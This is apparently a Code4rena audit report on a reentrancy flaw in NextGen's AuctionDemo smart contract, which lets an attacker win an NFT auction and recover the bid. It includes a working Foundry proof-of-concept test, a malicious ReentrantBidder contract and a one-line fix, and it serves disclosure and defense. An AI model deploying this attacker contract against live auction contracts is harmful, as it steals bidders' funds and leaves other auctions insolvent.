Reentrancy on AuctionDemo allows an attacker to win the auction for free

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L125
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L135

Vulnerability details

Impact

An attacker can submit the highest bid in the auction, win the auction and get both the NFT and the ether bidded back, essentially winning the auction for free.

Note 1: the attacker can use a flash loan to get the funds for submitting the highest bid, so they wouldn’t even need to have a lot of ether to execute the attack.

Note 2: this attack requires that there’s a block whose timestamp is the same as the auction end time. Since the project will be launched on mainnet, and mainnet blocks come out every 12 seconds, this attack will be possible in 1 out of 12 auctions on average, which is far from negligible.

Note 3: let x be the highest bid (in wei) before the attack is executed. Then the attack also requires that the contract holds x + 1 wei unrelated to the target auction. However, this is a lax requirement, since other auctions will probably be running at the same time, and funds will be taken from those ones (leaving at least one of them insolvent).

Context

If block.timestamp == auctionEndTime, then all four participateToAuction, claimAuction, cancelBid and cancelAllBids can be called by a user in the AuctionDemo contract:

require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);

AuctionDemo::participateToAuction

require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

AuctionDemo::claimAuction

require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

AuctionDemo::cancelBid and AuctionDemo::cancelAllBids

Proof of Concept

Let’s suppose there are two auctions running: auction0 and auction1. auction1 finishes after auction0.

1. Bob bids on both auctions.
2. When auction0 end time arrives, Charlie submits the attack.
3. Charlie wins auction0 getting back the money he bidded, and auction1 becomes insolvent.

function test_ClaimAuction_Exploit() public {
    // These are the tokenId's for each auction
    uint256 auction0 = 10000000000;
    uint256 auction1 = 10000000001;

    // Bob participates in both auctions
    vm.startPrank(bob);
    hhAuction.participateToAuction{value: 5 ether}(auction0);
    hhAuction.participateToAuction{value: 10 ether}(auction1);
    vm.stopPrank();

    vm.warp(AUCTION_END_TIME);

    // Charlie outbids Bob in `auction0`, which finishes before `auction1`.
    // He does this through the `ReentrantBidder` contract.
    vm.startPrank(charlie);
    ReentrantBidder maliciousBidder = new ReentrantBidder(hhAuction, hhCore);
    // Note: Charlie could use a flash loan to get the funds for submitting the highest bid
    maliciousBidder.bid{value: 5 ether + 1}(auction0);
    vm.stopPrank();

    assertEq(hhCore.balanceOf(charlie), 0);
    assertEq(charlie.balance, 0);

    // Auction0 ends
    vm.prank(admin);
    hhAuction.claimAuction(auction0);

    // Charlie ends up having both the NFT and the amount he had bidded
    assertEq(hhCore.balanceOf(charlie), 1);
    assertEq(charlie.balance, 5 ether + 1);

    // The auction owner does have the 5 ether + 1 (highest bid) they should have
    assertEq(admin.balance, 5 ether + 1);

    // However now ~5 out of the 10 ether Bob had bidded on `auction1` are missing, so he won't be able
    // to get the 10 ether he bidded back (`auction1` is insolvent).
    assertEq(bob.balance, 5 ether);
    assertEq(address(hhAuction).balance, 5 ether - 1);
}

Here’s part of the contract the attacker can use to execute the attack:

contract ReentrantBidder {

    // State vars and constructor ...

    function bid(uint256 tokenId) public payable {
        hhAuction.participateToAuction{value: msg.value}(tokenId);
    }

    function onERC721Received(address, address, uint256 tokenId, bytes calldata) external returns (bytes4) {
        // Transfer the NFT to the owner
        hhCore.safeTransferFrom(address(this), owner, tokenId);

        // Withdraw the highest bid and transfer the money back to the owner
        hhAuction.cancelAllBids(tokenId);
        owner.call{value: address(this).balance}("");

        return this.onERC721Received.selector;
    }

    receive() external payable {}
}

Complete test file and attacker contract: https://gist.github.com/EperezOk/d24154562d15c8530846f7b4e90ace48

Note: to run the POC, please install Foundry and make sure contracts are located at ../smart-contracts, relative to the test file.

Tools Used

Manual review and Foundry.

Recommended Mitigation Steps

Don’t allow claimAuction to be called in the same block as the rest of the functions in the AuctionDemo contract:

diff --git a/smart-contracts/AuctionDemo.sol b/smart-contracts/AuctionDemo.sol
index 95533fb..659f5cd 100644
--- a/smart-contracts/AuctionDemo.sol
+++ b/smart-contracts/AuctionDemo.sol
@@ -102,7 +102,7 @@ contract auctionDemo is Ownable {
     // claim Token After Auction

     function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
-        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
+        require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
         auctionClaim[_tokenid] = true;
         uint256 highestBid = returnHighestBid(_tokenid);
         address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);

Assessed type

Reentrancy

[c4-pre-sort]

141345 marked the issue as duplicate of #962

[c4-judge]

alex-ppg marked the issue as duplicate of #1323

[c4-judge]

alex-ppg marked the issue as satisfactory